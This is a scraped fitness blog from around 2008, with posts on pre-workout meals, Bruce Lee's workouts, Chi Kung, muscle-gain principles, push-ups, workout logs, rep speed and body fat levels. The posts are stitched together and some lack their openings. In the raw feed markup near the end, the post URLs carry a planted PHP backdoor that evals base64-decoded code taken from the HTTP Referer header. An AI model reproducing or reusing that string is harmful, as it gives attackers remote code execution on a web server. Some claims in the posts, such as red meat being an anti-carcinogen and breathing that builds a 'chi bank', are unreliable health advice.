Within 30 to 60 minutes before working out, aim to take in about 20 to 30 grams of fast-digesting protein with 20 to 40 grams of slow-digesting carbohydrates.  The fast-digesting protein is needed to quickly fill your muscles with amino acids to prevent muscle breakdon.  The slow-digesting carbs are needed to sustain energy levels while avoiding a spike in insulin levels.  High insulin levels results in less fat-burning and less sustained energy.

Whey protein is the most favorable choice for a fast-digesting protein.  Hydrolzyed whey (also known as whey protein hydrosolate) is the fastest digesting whey protein, and is the most ideal for pre-workout use.  Look for a protein powder that has the bulk of its whey in the hydrolyzed form.

Slow-digesting carbs include yams, sweet potato, brown rice, whole wheat bread, oatmeal, and even fruits such as apples and oranges.

My personal favorite for a pre-workout meal is: 1 scoop of hydrolyzed whey protein (20 grams), blended with 1 packet of instant oatmeal and one cup of iced coffee.  I call this “The Super Charger.”

Here are the steps I take to transform negative stuff that happens outside of the gym, into positive results in the gym:

1. Mentally take a step back. Take a deep breath.
2. Objectively assess the situation.
3. If there is something appropriate and positive that can be done to remedy the situation, do it.
4. If not, ignore it.
5. If it cannot be ignored, USE IT.

Here’s how to USE IT:

1. Imagine you are about to attempt the most challenging exercise from your next workout. It helps to have your next workout planned out ahead of time (yet another reason to keep a workout journal). It helps even more to know exactly how much weight and reps you are aiming to do.
2. Visualize all of the negative things that have been bothering you.
3. Mentally merge these things into the exercise you are attempting to do.  For example, if the exercise is the deadlift, imagine merging them into the bar and plates.
4. Next, picture yourself performing the exercise with great power and intensity, easily achieving your goal weight and repetitions.  As you complete the exercise picture yourself giving out a battle cry that is so powerful, all of the negativity is blown away into nothingness.

You will be amazed at the added intensity you will have at your next workout. I have used this technique many times and have scared my workout partner on more than one occasion with the amount of intensity I
demonstrate. It is also a great release. By the end of the workout I am spent, and so is my negativity. I experience tremendous peace of mind once I am done.

This practice is not only great for the gym, it is great for life outside of the gym. You will feel more in control, knowing that you will be able to use whatever life throws at you, good or bad.

Bruce Lee passed away well over 30 years ago (jeez, has it been that long?), yet his legend lives on. He was an accomplished martial artist and an international mega movie star. He is also recognized for his almost superhuman speed and power, and extremely ripped physique.

It was no mistake that Bruce Lee had such shredded abs, bulging forearms and wings-for-lats. He integrated weight lifting with his martial arts practice. He owned over a hundred books on strength training and was regularly seen reading bodybuilding magazines. He was the consummate student, always striving to improve. And if he wasn’t studying, he was training.

Through weight lifting Bruce built up his 5′7″ frame from 135 pounds to 160 pounds of solid muscle. However, he found this weight too restrictive on his speed and agility and scaled it back to 140 pounds, becoming extremely ripped in the process. His main goal during weight lifting was to improve his functional strength and power. He could easily hit an 8 feet high target with a flying kick. His side kicks sent 300 pound punching bags flying against the ceiling. His famous one-inch punch could send men nearly twice his weight sprawling. It is rumored that one of his film directors once requested that Bruce slow down his movements because they were too fast to catch on screen.

1-inch punch

Feats of strength

Bruce worked out with weights three times a week, usually on Tuesdays, Thursdays and Saturdays. A typical workout would look like this:
* Clean & Press : 2 sets for 8 reps.
* Squats: 2 sets for 12 reps.
* Pull-overs: 2 sets for 8-12 reps
* Bench Presses: 2 sets for 6-10 reps.
* Good Mornings: 2 sets for 8-12 reps.
* Barbell Curls: 2 sets for 8-12 reps.
* Military Presses: 2 sets for 8-12 reps.
* Upright Rows: 2 sets for 8-12 reps.
* Barbell Rows: 2 sets for 8-12 reps.

On his non-weight training days, Bruce would do circuit training, active stretching, running, sparring and specific martial arts exercises. He would also constantly work his abdominals and forearms. He would do crunches, sit-ups, leg raises and forearm curls wherever and whenever he could.

Montage

As you can see, there is nothing fancy about Bruce Lee’s workouts. What cannot be seen is the amount of intensity and focus he would have invested in each workout, set and rep. With the amount of physical control and discipline that he had, it is no doubt Bruce had a formidable mind-muscle connection. It is also highly likely that Bruce was knowlegable about muscle building nutrition and had the discipline to keep his diet strict and clean.

Bruce Lee would probably have been a star even if he never lifted a weight. His marital arts training had already made him powerful, fast and agile. He already had the innate charisma that translated so well on the big screen. But he probably would not have possessed such a powerful and ripped physique without weight training. He used the gym to take his physique to the next level and in doing so inspired millions to do the same.

• Improved focus and clarity.
• Increased blood and oxygen circulation.
• Reduced stress and tension.
• Higher levels of energy, power and stamina.
• Strengthened immune system and nervous system.
• Better sleep quality.

All of these benefits translate well to working out and bodybuilding. Benefits specific to bodybuilding include:

• Better pre-workout visualization.
• Increased intensity and focus in the gym.
• Better pump and stronger lifts.
• Faster recovery times.
• Less injuries.

The simplest and easiest way to increase chi is deep, conscious breathing.

• Take a deep, slow breath until your lungs are full.
• Hold your breath for several counts.
• Slowly exhale until you can’t squeeze any more air out of your lungs.
• Focus your attention on your breath.

Do this for several breaths at any time during the day. You can do it at the office, when you are stressed or overwhelmed, or before a heavy set. It will immediately get you focused, relaxed and energized. When done on a consistent basis you will literally be building up your chi bank.

Meditation is another effective chi booster. It has all of the benefits of deep breathing with the addition of clearing out the mental garbage from your mind. Regular meditation promotes higher levels of peace, lower levels of stress and negativity, and better overall physical and emotional health. There are many different ways to meditate, but at its root is deep, conscious breathing. A simple way to meditate is as follows:

• Find a quiet, relaxing environment. The goal, especially when starting out, is to have the least amount of distractions possible.
• Sit in a comfortable position with your back straight. Sitting on a cushion helps. If you find it difficult to sit on the ground, sit on a chair.
• Practice deep, conscious breathing.
• Silence your mind. If thoughts persist, do not resist them. Instead, refocus on your breathing.
• Do this for 5-10 minutes to start. Work your way up to 15-30 minutes on a daily basis.

Combining deep breathing with controlled movements is the most effective method for boosting chi. Tai Chi, yoga and Chi Kung are excellent examples of this. The difficulty with these practices is finding the time to learn them and practice them on a regular basis.  It is hard enough to find time to workout these days.

Here’s my happy medium. In the morning upon waking up and shortly before bed, I perform a short Chi Kung routine. The whole process can take as little as 10 minutes or up to 30 minutes, depending on the amount of time available. Here are the phases and steps:

Phase I: Relaxing the Shoulders
1) Stand with feet about shoulder width apart.
2) Breathe in while raising your arms in front of your body as if holding a large beach ball.
3) Breathe out while turning your arms outward (palms down) and slowly lowering them back to your sides.
4) Do this for 30 cycles.

Phase II: Rotating the Hips
1) Slowly rotate your hips 30 times to the left and then 30 times to the right.
2) Relax your abdomen and lower back. Breathe naturally.

Phase III: Strengthening the Knees
1) Place your feet together.
2) Place your hands on your knees, with your knees bent.
3) Slowly rotate your knees 30 times to the left and 30 times to the right.
4) Keep your feet flat on the floor. Breathe naturally.

Phase IV: Wu Chi Stance
1) Stand still with your feet shoulder width apart.
2) Relax your knees, abdomen and hips.
3) Let your arms hang loosely by your sides.
4) Look forward and slightly downwards. Breathe naturally.
5) Stay in this stance for 2-15 minutes (depending on the amount of time you have).
6) While in this stance focus on relaxing your body (from head to toe).

Phase V: Sealing Your Energy
1) Place your right palm over your lower abdomen.
2) Place your left hand on top of your right hand.
3) Breathe naturally for 2-5 minutes.

If you try this you will see that the movements are simple and it does not take extraordinary amounts of flexibility or strength to complete. The most important phase is the Wu Chi Stance. It is basically like a standing meditation.

Although this is the most basic form of Chi Kung practice, I have noticed significant benefits (as noted above) in just a short amount of time. I often do this short practice before working out and use the Wu Chi Stance time to visualize myself performing my lifts with power and intensity. All I can say is, it works!

Note: The pictures and Chi Kung method are from Chi Kung Way of Power by Master Lam Kam Chuen.

Firstly let me quantify the title of this article. Building muscle fast means different things to different people. To those who have been in the muscle building game long enough, fast muscle gain equates to gaining anywhere from ½ a pound to 1 pound of lean muscle a week. This may not sound like much, but over the course of three months this would equate to 6-12 pounds of lean muscle mass. 12 pounds of lean muscle is very significant and very noticeable. Extend that out over a year and you have some SERIOUS muscle gain.

So, now that we know what fast muscle gain is…how is it done? The vast majority of successful mass gainers do not do it through a miracle supplement or a 30-day short-cut program. They follow tried and true principles and STICK TO IT.

Now, on to the principles…

1. Eat small meals every 2-3 hours. Aim for at least 6 meals a day.

The benefits of this include:

• Increased nutrient intake. Your digestive system can only process so much muscle building nutrients per meal. The excess is either flushed down the toilet or worse, turned into fat! Eating smaller meals makes it much easier on your body to build muscle.
• Avoiding the fasting state. After 2-3 hours your body has digested its last meal and is ready to eat again. The longer you wait the slower your metabolism gets, which takes us to the next point.
• Increased metabolic rate. Eating smaller meals more often literally turns your body into a fat-burning furnace. The more often you eat, the more you can eat, and thus the more muscle you can build!

2. Consume 1 to 1.5 grams of protein per pound of body weight.

For a 180-pound man this would equate to 180 to 270 grams of protein a day.  Split over 6 meals this would equate to 30 to 45 grams of protein for each meal. Most individuals fall way short of this. Protein is the building blocks of muscle. Less building blocks = less muscle.

3. Consume 10-15% more calories than your maintenance level.

Is it possible to gain muscle while eating less? It is possible, but it is definitely not preferable. If you want to gain the most amount of muscle in the least amount of time, you will need to consume more than you burn.

Aim to increase the amount of calories from 10-15%. Again taking a 180-pound man with a 3500 calorie maintenance level. Adding 10-15% would equate to 350-525 more calories a day. This is not a huge increase, but it is substantial enough for that ½-1 pound of muscle mass gain each week. Anything more than 15% will probably be stored as fat.

4. Make compound weight lifting movements the foundation of your weight training program.

Compound movements are exercises that work your large, primary groups. Doing these exercises builds the most amount of muscle in the least amount of time. They should be the core of your weight training program.

The best, must-do compound movements include:

• The Deadlift
• The Squat
• The Bench Press
• The Military Shoulder Press
• The Pull-up (or Pull-down)
• The Bent-over Row

5. Ensure Progressive Overload.

Progressive Overload is a combination of one or more of the following factors:
a) Increase in the amount of weight lifted in a set.
b) Increase in the number of repetitions in a set.
c) Increase in the number of sets per exercise.
d) Decrease in the amount of time to complete a set.

In order for your muscles to grow, they must be performing more work. In other words, they must be progressively overloaded. For each successive workout for a particular bodypart, your aim should be to increase the amount of overload you place on that bodypart. The most obvious way is to increase the amount of weight that you lift. You can also increase the amount of repetitions with the same weight. Increasing the number of sets completed is yet another way. Completing the same weight and reps and sets, yet doing so in less time, is yet another way to increase the overload.

6. Work each major muscle group every 5-10 days.

Most programs recommend training each bodypart every 5-7 days. However, if you are over 35, get less than 6 hours of sleep per night, or lead an extremely busy life (career and/or kids), working each muscle group every 10 days may suffice. The main thing to remember is that your muscles (as well as your central nervous system) must recover before you work them again.

On the other end of the spectrum, if you wait too long your muscles will begin to atrophy and your gains will be lost.

The best way to determine how often you cycle your workout is by gauging your progress. If you are making consistent gains in your lifts then you are on the right track. If you are constantly sore and not making gains then you may be overtraining. If you feel fully recovered before each workout yet are not making gains, then you may be undertraining. Listen to your body.

7. Stretch at least 15 minutes a day.

This is a topic that is rarely covered by the glitzy muscle mags yet it is vital.  Stretching helps in many ways, including:

• Increased range of motion.  The better your range of motion the more thoroughly you work the muscle, resulting in increased strength and size.
• Increased circulation.  This increases energy levels and aids in workout recovery.
• Injury prevention.
• Healthier and stronger joints and tendons.

8. Eat red meat.

Yes, lean protein like chicken breast and egg whites are vital in any muscle building diet.  However, red meat should be a regular part of your nutritional plan if packing on muscle quickly is your goal.  Why is red meat so effective at building muscle?  Here are the main reasons:

• It is nutrient dense, containing all of the B-vitamins, zinc, iron, phosphorous, potassium, magnesium, etc.
• It contains conjugated linoleic acid (CLA), a powerful anti-carcinogen and fat burner.
• It is a superior source of amino acids.  It is high in creatine.
• It contains fats that are necessary for muscle building.
• It is easily digestible.
• Structurally, red meat is the food source that most closely resembles our own muscles, and thus is the food most effective at building our muscles.

9. Get enough rest.

During each workout your muscles are overloaded and broken down (if you are having an effective workout that is!)  Not only are the muscles being taxed, the central nervous system is also taking a beating.  This is why sleep and taking rest days are so vital.  After all, your muscles do not grow while you are working out, they grow while you are at rest.

10. Supplement your diet with whey protein powder.

What, another nutritional principle?  Yep.  Skip Lacour, 6-time national natural bodybuilding champion, is quoted as saying nutrition is 80% of bodybuilding.  This is also where most gym-goers fall short.

It can be difficult to adhere to eating six meals a day on a busy schedule.  That is why a good protein shake can be such a vital part of your nutritional plan.  Whey protein is my top choice amongst protein powders because it is easily digestible, contains all of the essential amino acids, and is relatively inexpensive.

If you need a meal replacement, add a packet of instant oatmeal and some yogurt to water and a serving of whey protein powder.  It’s quick, easy and effective.

There you go.  10 tried and true principles for building muscle mass fast.  Put these principles into action and you will be making gains in the gym and on the scale.  It’s time to grow!

The Basic Push-Up
To properly perform a basic push-up:

1. Lie facedown on the floor with your hands spaced slightly wider than shoulder width.
2. Support your weight with your hands and the balls of your feet.
3. Keeping your body straight and in-line (from your head to your feet), push up in a controlled fashion until your arms are fully extended (making sure your torso and legs remain straight).
4. After a slight pause, slowly return to the starting position until your chest is slightly touching the ground (do not let your stomach, hips or legs touch the ground).
5. Repeat.

Variations of the Push-up…

The Narrow-Grip Push-Up
The execution of the Narrow-Grip Push-up is identical to the Basic Push-Up, with the exception of the following:

• Space your hands exactly shoulder width apart (rather than slightly wider than shoulder width).
• Make sure your elbows do not flare out. Keep your upper arms being perpendicular to your torso (and thus right next to your torso).

Narrow-grip Push-up

Many coaches and personal trainers prefer this variation on the push-up. It focuses more on the triceps and the inner-chest, rather than the chest as a whole. Unless your arms are significantly more developed than your chest, this version will be more difficult than the Basic Push-Up.

The Decline Push-Up
The execution of the Incline Push-Up is identical to the Basic Push-Up with the exception of the following:

• Place the balls of your feet on a raised platform, ranging from 12-inches to as much as 3-feet high. This can be anything from a bench to a bed to a yoga-ball.

Decline Push-ups

This exercise places more emphasis on the upper-chest, which is commonly a weak point of many individuals. It also requires more force because of the nature of your body position.

The Clap Push-Up

1. Lie facedown on the floor with your hands spaced slightly wider than shoulder width.
2. Support your weight with your hands and the balls of your feet.
3. Keeping your body straight and in-line (from your head to your feet), push up in an explosive manner, extending your arms fully.
4. At the top of the movement clap your hands.
5. As your body falls back to the floor catch your weight by placing your hands back on the floor in the same starting position, with your elbows slightly bent.
6. Stop the momentum of your fall with your chest slightly touching the ground.
7. Immediately repeat the explosive push movement in step 3.

This variation is considerably more difficult than the Basic Push-Up because it requires more force during the concentric upward push. It also builds more fast-twitch muscle fibers due to this increased power requirement.

To work the slow-twitch muscle fibers, perform the Basic Push-up in a very slow tempo (i.e. 2 seconds on the upward movement, 4 seconds on the downward movement).

The Fingertip Push-Up
The execution of the Fingertip Push-Up is identical to the Basic Push-Up except that instead of supporting your upper body with your hands (palms and fingers), you are only using your fingertips.

Fingertip Push-up

In addition to working your chest, triceps and shoulders, you will also be working your fingers and forearms. If your forearms or grip-strength is lagging, this is an excellent alternative.

Assisted Variations
Knees-to-Floor Push-Ups
This variation is identical to the Basic Push-Up except that your knees are allowed to touch the floor and support your bodyweight. This requires less force and is recommended for those who have difficulties performing the Basic Push-Up. It is sometimes referred to as a “Girly Push-Up.” I refrain from labeling it thus because I know many women who can do more basic push-ups than their male counterparts. I kid you not.

Incline Push-Ups
This is similar to the Decline Push-Up, except that your feet remain on the floor while your hands are supported on a raised surface. The higher the surface the less the force that is required. This movement also shifts the emphasis to the lower pectorals.

Click image for a FREE Workout Log

Professional bodybuilders, personal trainers, fitness gurus and even the bodybuilding magazines are unanimous in their recommendation to keep a work out journal.  They all espouse planning your work out in advance, writing or printing it out to take to the gym, writing down your results, and then keeping the results for future reference.  Why do they recommend this?   There are a myriad of reasons.  The main benefits include:

• Accurate tracking of progress through logging work out variables (exercises, sets, weights, reps, times, energy levels, etc.)
• Effective and precise planing of future work outs (knowing how you performed previously will eliminate guesswork).
• Heightened motivation and intensity through striving to beat previous bests.
• Increased focus and efficiency through having a clear, written plan.

If the benefits are so compelling, why is it that hardly anyone at the local gym carries around a work out log (or even a piece of paper and pen)?

• Ignorance.  People are just plain unaware of the benefits (you no longer have that excuse!)
• Laziness.  Planning out work outs in advance and writing down the number of reps completed after every set takes time and effort.  The rewards far outweigh the inconveniences though, but most people never get to the point of developing this valuable habit.
• Complacency.  A lot of gym-goers are content with lifting a little more weight or doing a few more reps than the last time.  Unless you are a newbie or are taking some powerful drugs, you will not consistently be making big gains from work out to work out.  The human body just does not grow that fast.  It is more realistic to expect minute gains (i.e 1%-5% increases) from week to week.  It is nearly impossible to track such details in your head.

Okay, so you’re not ignorant, lazy or complacent.  If you were, you would not have made it this far in the article.  So, how do you keep a work out journal?  The main things to keep track of include:

• Muscles trained.
• Exercises used.
• Weights used.
• Number of sets.
• Rest time between sets.
• Time to complete a set and/or work out.

Additionally you could keep track of:

• Workout tempo.
• Energy levels.
• Place and time of day.
• Intensity levels.
• Etc., etc.

You can log all of this in a simple spiral-bound or composition notebook.  Alternatively you could use a workout log template on your computer and print out a page to take with you to the gym (this is the method I prefer).  I couldn’t find anything to my liking on the internet so I created one myself.  I have included this free workout log template here.  It is in pdf format and it is a fillable form, meaning you can type in data to the form.

So how exactly do you use this data to achieve all of the benefits noted above?  In other words, how do you know you are making progress?  The most obvious thing to keep track of is the amount of weight used.  If you bench pressed 200 pounds last week for five reps and you bench pressed 205 pounds for five reps this week, it is pretty obvious you made progress.  Is that it?  Hardly.  There are more factors.  The totality of these factors is what you want to keep track of.  In No-Nonsense Muscle Building, Vince DelMonte calls this your “Muscular Threshold”.

Your Muscular Threshold is comprised of:
1. Weight used
2. Number of sets.
3. Number of repetitions.
4. Time it takes to compete a set (or work out).

So, let’s say you lifted the same weight for the same reps and the same number of sets, but you did it in less time, you have increased your muscular threshold.  Can you see the power in having these added factors?  You will not always be able to increase the weight you use from week to week, but you may be able to squeeze out an extra rep or cut down your rest time between sets to achieve progress.  Being aware of this progress will motivate you to persevere and stay on track.

I hope I’ve convinced you of the importance of keeping a work out journal.  If you are still sitting on the fence about this one, do yourself a favor and try it out for 6 weeks.  By then you will have developed the habit of writing down your work outs and it will become second nature.  More importantly you will realize the dramatic increases in your motivation, focus and efficiency.

• Executing the full range of motion of the exercise.
• Using proper (usually slow) rep speed.
• Not using momentum, swing or bounce.
• Pausing at the start and end of the rep range.

The benefits of using strict form (so they say) include:

• Injury prevention.
• More direct muscle stimulation.
• Better mind-muscle connection.

This all makes sense doesn’t it?

Then why does it seem like many of the elite bodybuilders do not follow all of the requirements of strict form?  After all, shouldn’t the best in the sport also have the best technique and form?  Have you watched any professional bodybuilding videos lately?  If you have, then you have probably noticed huge amounts of weight being tossed around, many times with noticeable momentum and less than “ideal” form.  Are these guys just so genetically freaky and full of under-the-counter substances that they can do whatever they want and still be in the top .0000000001 percent of the world?  Hardly.  So what gives?

Skip Lacour, 6-time natural bodybuilding champion, says “…extremely strict form is not always an effective and efficient route to take when training.”  He is not advocating using out-of-control or sloppy form.  Rather he recommends a happy medium.  He defines this happy medium as, “Lifting heavy enough weight to build significant muscle mass-while still using form that’s good enough to directly stimulate the intended muscle group.”

Before you get excited envisioning all the extra weight you’ll be throwing around at your next workout there are some guidelines I would recommend.

1. If it ain’t broke…: If you are making consistent gains with an exercise while using strict form, stick with strict form.
2. Master the basics first: Stick with strict form until you have mastered a specific exercise.  My general recommendation is at least 6 months of strict (and proper) form for each specific exercise.  Make sure you are extremely comfortable with a particular exercise before even considering sacrificing any aspect of strict form.
3. Warm up:  Do at least 10 minutes of light cardio before your workout.  Also, perform exercise-specific warm-up and acclimation sets before each exercise.
4. Get a partner: Workout with a partner (or find a spotter who knows what he/she is doing) for exercises like: squats, bench presses, military presses, etc.

Doing slow, controlled movements is generally much better for muscle and strength building.  The main advantages include:
1.    More muscle fiber stimulation – which results in more growth and more power (ironically in a shorter amount of time).
2.    Better form—it is much easier to focus on proper form when the reps are slow.
3.    Better mind-muscle connection—which, again, results in growth and power.
4.    Injury prevention—you will require less weight to stimulate your muscles when going slow.  This, combined with better form, will result in less injuries.

So how slow should you go?  The most effective length of a repetition varies between 3-6 seconds.  This includes both the concentric (power part of the rep where you are pushing or pulling) movement and the eccentric (negative, or return) movement.  The most effective ratio of the concentric to the eccentric is 1:2.

As an example, let’s take the bench press.  If you choose to do 6 second reps then one repetition would consist of:
-    Lowering the weight down to your chest in 4 seconds, followed by
-    Pushing the weight up in 2 seconds.

You would obviously have to use a lighter weight for this compared to if you were cranking out 1 second bounce-the-weight-off-your-chest reps.  Yes, you will have to stop deluding yourself and leave your ego at home.  But if you are serious about packing on muscle and strength, slow is the way to go.

]]> http://gymwarrior.net/blog/2008/10/17/the-importance-of-rep-speed-in-weight-lifting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://gymwarrior.net/blog/2008/10/13/how-lean-in-body-fat-percentage-can-a-bodybuilder-get-and-maintain-year-round/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://gymwarrior.net/blog/2008/10/13/how-lean-in-body-fat-percentage-can-a-bodybuilder-get-and-maintain-year-round/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 14 Oct 2008 06:39:22 +0000 Iron_Ivan http://gymwarrior.net/blog/?p=22 The competitive male bodybuilder (at least the successful ones) carry around 3-5% body fat on stage.  Women can go as low as 8-11%.  These, however, are “peak” body fat levels that are usually maintained for a few days (or even a few hours).  Most muscle magazine articles and advertisements feature bodybuilders and fitness models who are in this “peak” state at the time the photos were taken.  In real life however, it would be nearly impossible (and probably very unhealthy) to stay this lean year-round.

So, what is a realistic goal to shoot for as far as sustainable lean body mass is concerned?  Not everyone has the desire to compete on stage and to go through the extremes of pre-contest “cutting” that is required to look totally shredded.  For many of us the goal is to progressively put on more attractive and proportionate muscle while carrying the least amount of body fat possible in order to be healthy and to feel healthy on a day-to-day basis.

The average male carries about 16-20% body fat while the average female carries 20-25%.  A lean male would carry about 11-15% and a female would have 17-20%.  At the lower end of that spectrum is where the abdominals would begin to show and the muscles would show significant definition and separation.

Very lean males have 6-10% body fat and females 12-16%.  This, in my opinion, is the desired range of year-round body fat.  No, your glutes won’t be striated and you won’t be winning any contests, but you will look pretty damned impressive walking on the beach.  If your goal is to build significant amounts of muscle, then gravitating towards the higher end of this spectrum (9-10% for men, 15-16% for women) would be ideal.  There are many professional bodybuilders who prefer to bulk up at significantly higher body fat levels, but they have the drive and desire (and genetics) to be able to cut dramatically for contests.

An important point to consider is that the more quality muscle you carry on your frame, the more impressive you will look no matter what body fat level you are at.  As an example, long distance runners generally carry less body fat percentages than sprinters, but which physique would you prefer?

So, as a general recommendation, men should shoot for 6-10% body fat, while women should aim for 12-16%.  During muscle-building phases men should hover around 9-10% and women 15-16%.  During the “swimsuit” months when you are more apt to display your physique you should be able to scale that back to the lower spectrum of that range (6-7% men, 12-14% women) without going through the dramatic amount of cutting that competitive bodybuilders go through.